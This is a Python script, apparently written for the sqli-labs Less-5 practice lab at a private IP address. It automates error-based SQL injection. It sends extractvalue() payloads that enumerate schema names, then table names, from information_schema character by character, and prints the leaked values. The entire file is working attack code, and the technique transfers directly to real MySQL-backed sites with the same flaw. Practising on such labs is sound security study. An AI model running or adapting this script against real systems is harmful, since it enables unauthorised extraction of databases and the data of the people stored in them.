import requests
import string
from colorama import Fore, init

# 初始化colorama，使其跨平台工作
init(autoreset=True)

'''
payload = "?id=1' and extractvalue(0x5e,concat(0x5e,(select length(group_concat(schema_name)) from information_schema.schemata ),0x5e)) --+"
'''
url = "http://192.168.31.203/sqli-labs-master1/Less-5/"
special_char = "' "
char_set = string.printable.strip()


def get_schemalength(url):
    payload = "?id=1' and extractvalue(0x5e,concat(0x5e,(select length(group_concat(schema_name)) from information_schema.schemata ),0x5e)) --+"
    ful_url = url + payload
    res = requests.get(ful_url).text
    print(ful_url)
    index = res.find("^")+1
    length = ""
    while(res[index] != "^"):
        length += res[index]
        index+=1

    return length



def get_schema(url,length):
    schema_Name = ""
    for i in range(1,length+1):
        payload = f"?id=1' and extractvalue(0x5e,concat(0x5e,(select substr(group_concat(schema_name),{i},1 ) from information_schema.schemata ),0x5e)) --+"
        ful_url = url + payload
        res = requests.get(ful_url).text
        print(ful_url)
        index = res.find("^")+1

        while(res[index] != "^"):
            schema_Name += res[index]
            index+=1
        print(schema_Name)
    return schema_Name

def get_tableOneSchemaLength(url,schema_name):
    payload = f"?id=1' and extractvalue(0x5e,concat(0x5e,(select length(group_concat(table_name)) from information_schema.tables where table_schema = '{schema_name}' ),0x5e)) --+"
    ful_url = url + payload
    res = requests.get(ful_url).text
    print(ful_url)
    index = res.find("^")+1
    length = ""
    while(res[index] != "^"):
        length += res[index]
        index+=1

    print(Fore.GREEN + f"[+] The length of '{schema_name}' table "+ length)

    return int(length)
def get_allTableName(url,AllSchemataName):
    schemataArr=AllSchemataName.split(",")
    print(type(schemataArr) )
    for i in range(1,len(schemataArr)):
        tableName = ""
        for j in range(1,get_tableOneSchemaLength(url,schemataArr[i])):
            payload = f"?id=1' and extractvalue(0x5e,concat(0x5e,substr((select group_concat(table_name) from information_schema.tables where table_schema='{schemataArr[i]}'),{j},1),0x5e)) --+"
            ful_url = url + payload
            res = requests.get(ful_url).text
            print(ful_url)
            index = res.find("^")+1

            while(res[index] != "^"):
                tableName += res[index]
                index+=1
            print(tableName)
        print(Fore.GREEN + "[+] The tables name [" + tableName + "]")


schemalength=get_schemalength(url)
AllSchemataName = get_schema(url,int(schemalength))


print(Fore.GREEN + "[+] The length of schemata "+ schemalength)
print(Fore.GREEN + "[+] The schemata name ["+ AllSchemataName + "]")

get_allTableName(url,AllSchemataName)